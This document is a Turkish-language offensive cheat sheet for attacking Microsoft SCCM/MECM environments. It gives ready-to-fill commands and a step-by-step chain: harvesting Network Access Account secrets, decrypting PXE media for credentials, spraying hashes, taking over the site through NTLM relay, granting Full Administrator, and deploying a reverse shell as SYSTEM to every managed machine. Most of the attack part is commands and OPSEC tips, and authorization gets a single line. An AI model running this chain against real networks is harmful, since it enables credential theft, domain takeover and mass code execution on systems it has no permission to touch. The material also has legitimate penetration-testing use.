SCCM / MECM Abuse - NAA Credential, PXE, Site Takeover ve CMPivot
Microsoft SCCM/MECM ortamlarında Network Access Account (NAA) credential'ları policy üzerinden çekilir, PXE boot media decrypt edilir, MP/SMS Provider'a NTLM relay ile site takeover yapılır ve CMPivot ile yönetilen makinelerde komut çalıştırılır. sccmhunter keşif ve istismarı otomatikleştirir.
- Bir SCCM site sistemi (Management Point / Distribution Point / SMS Provider) ağda erişilebilir
- En az bir domain kullanıcı kimlik bilgisi (USER/PASS veya NTHASH) - NAA/policy için
- PXE/credential teknikleri için DP/PXE responder erişimi
- Site takeover için relay edilecek bir coercion hedefi (site server hesabı) veya yüksek yetkili erişim
Komutlar
python3 sccmhunter.py find -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -dc-ip {{DC_IP}} python3 sccmhunter.py smb -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -dc-ip {{DC_IP}} -save python3 sccmhunter.py http -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -dc-ip {{DC_IP}} --auto SharpSCCM.exe get secrets -u {{USER}} -p {{PASS}} python3 pxethief.py 1 {{RHOST}} impacket-ntlmrelayx -t http://{{RHOST}}/ccm_system_windowsauth/request -smb2support --adcs python3 sccmhunter.py admin -u {{USER}} -p {{PASS}} -ip {{RHOST}} SCCMHunter#> get_user {{USER}}; add_admin {{USER}} S-1-5-21-... SharpSCCM.exe exec -d "All Systems" -p "reverse_shell" --run-as-system nxc smb {{RHOSTS}} -u {{USER}} -H {{NTHASH}} -d {{DOMAIN}} SCCM Saldırı Yüzeyi
SCCM (System Center Configuration Manager) / MECM, kurumsal ağlarda yazılım dağıtımı, imaj ve patch yönetimi yapar; bu nedenle çok sayıda makinede SYSTEM ayrıcalığı ve değerli credential’lar barındırır. Saldırı yüzeyini SpecterOps’un ‘Misconfiguration Manager’ matrisi standartlaştırmıştır: RECON, CRED (credential harvesting), ELEVATE (privesc), TAKEOVER (site takeover). sccmhunter bu adımların çoğunu otomatikleştiren ana araçtır.
1. RECON: Site Sistemlerini Keşfet
sccmhunter find LDAP’tan SCCM ile ilgili nesneleri (System Management container, MP/DP kayıtları, site code) bulur. Ardından sccmhunter smb her sistemin rolünü (Management Point, Distribution Point, PXE-enabled DP, SMS Provider) profiller. Hedeflerinizi (RHOST/RHOSTS) ve site code’u burada belirlersiniz.
2. CRED: NAA ve PXE Credential’ları
Network Access Account (NAA): İçeriğe erişmek için kullanılan, çoğu zaman aşırı yetkili bir domain hesabıdır ve policy içinde DPAPI ile şifrelenmiş olarak client’lara dağıtılır. Geçerli (hatta düşük yetkili) bir client/domain kullanıcısı, Management Point’ten machine policy isteyerek bu secret’ı çekebilir: Windows’ta SharpSCCM.exe get secrets, Linux’ta sccmhunter http --auto. PXE: PXE-enabled DP, boot media’yı (variables.dat) tutar; pxethief.py ile media indirilip decrypt edilerek gömülü domain join / task sequence credential’ları elde edilir (genellikle parola gerekmeden, sadece ağ erişimi yeterli). Elde edilen NAA’yı nxc smb {{RHOSTS}} -u {{USER}} -H {{NTHASH}} ile spray edin - sıkça yerel admin haklarına kapı açar.
3. TAKEOVER: NTLM Relay ile Site Ele Geçirme
Site takeover’da amaç, SMS Provider / Management Point’in AdminService’ine yüksek yetkili bir kimlikle yazmaktır. Klasik zincir: bir site server makine hesabını coercion (PetitPotam/Coercer) ile zorla ve ntlmrelayx ile MP HTTP endpoint’ine (örn. /ccm_system_windowsauth/request) ya da AdminService’e relay et. Başarılı relay, saldırganı SCCM hiyerarşisinde Full Administrator yapar.
4. POST: AdminService ve RBAC
Takeover sonrası sccmhunter admin -ip {{RHOST}} ile AdminService üzerinde interaktif bir shell açılır; buradan add_admin {{USER}} <SID> ile kendinizi kalıcı SCCM Full Admin yapabilirsiniz. SCCM Full Admin = tüm yönetilen makinelerde uygulama/script dağıtma yetkisi.
5. LATERAL: CMPivot / Application Deployment
SCCM yönetim yetkisiyle hedef bir collection’a (örn. ‘All Systems’ ya da DA workstation’ları) uygulama/script push ederek makinelerde SYSTEM olarak komut çalıştırırsınız: SharpSCCM.exe exec -d "All Systems" -p "..." --run-as-system. CMPivot ad-hoc sorgu çalıştırma için de kullanılır. Bu, geniş ölçekli lateral movement ve domain’e yayılma sağlar.
Gotchas
- NAA over-privilege: En sık görülen yanlış yapılandırma NAA’nın gereğinden fazla yetkiye (hatta DA) sahip olmasıdır - elde edilen secret’ı mutlaka test edin.
- Düşük yetki yeterli: NAA secret çekmek için çoğu zaman sadece geçerli bir domain hesabı (bazen sadece bir client makinesi) yeterlidir; admin gerekmez.
- PXE parolası: Bazı PXE media parola korumalıdır; pxethief brute/decrypt deneyebilir, ama korumasız PXE en kolay hedeftir.
- Relay önkoşulları: Site takeover relay’inde hedef endpoint ve coercion yolu site sürümüne göre değişir; SMB signing ve EPA (Extended Protection) relay’i engelleyebilir.
- OPSEC: Application deployment ve CMPivot, SCCM loglarında ve client’larda iz bırakır; ‘Immediate’ deployment’lar fark edilebilir. Test/PG dışında kapsam ve yetki yazılı onayına dikkat.